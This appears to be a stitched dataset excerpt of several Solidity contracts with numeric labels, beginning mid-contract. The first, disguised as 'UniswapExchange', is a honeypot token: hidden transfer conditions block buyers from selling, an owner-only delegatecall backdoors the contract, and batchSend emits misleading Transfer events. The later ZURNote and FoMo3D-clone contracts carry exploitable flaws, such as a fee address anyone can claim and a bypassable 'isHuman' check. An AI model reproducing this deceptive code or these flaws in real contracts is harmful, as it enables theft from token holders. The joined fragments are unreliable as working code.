_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,006 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ZURNote is MintableToken, BurnableToken {
using SafeMath for uint256;
string public constant name = "ZUR Notes By Notes Labs";
string public constant symbol = "ZUR-N";
uint8 public constant decimals = 5;
uint public constant rate = 100000;
address public ZUR = 0x3A4b527dcd618cCea50aDb32B3369117e5442A2F;
constructor() public {
owner = this;
}
function swapFornote(uint _amt) public {
require(_amt >= rate);
require(ERC20(ZUR).transferFrom(msg.sender, address(this), _amt));
MintableToken(this).mint(msg.sender, _amt.mul(10 ** uint(decimals)).div(rate));
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to == address(this)) {
swapForToken(_value);
return true;
} else {
require(super.transfer(_to, _value));
return true;
}
}
function swapForToken(uint _amt) public {
require(_amt > 0);
require(balances[msg.sender] >= _amt);
uint fee = _amt.div(100);
uint notes = _amt.sub(fee);
burn(notes);
ERC20(ZUR).transfer(msg.sender, notes.mul(rate).div(10 ** uint(decimals)));
transfer(feeAddress, fee);
}
address public feeAddress = 0x6c18DCCDfFd4874Cb88b403637045f12f5a227e3;
function changeFeeAddress(address _addr) public {
require(msg.sender == _addr);
feeAddress = _addr;
}
} | 1 | 2,549 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x454b6ee7e3847d51456b4146f7ae2664dbc35af4);
address private admin = msg.sender;
string constant public name = "FOMO Loop";
string constant public symbol = "LOOP";
uint256 private rndExtra_ = 1 seconds;
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 2400 hours;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 2400 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
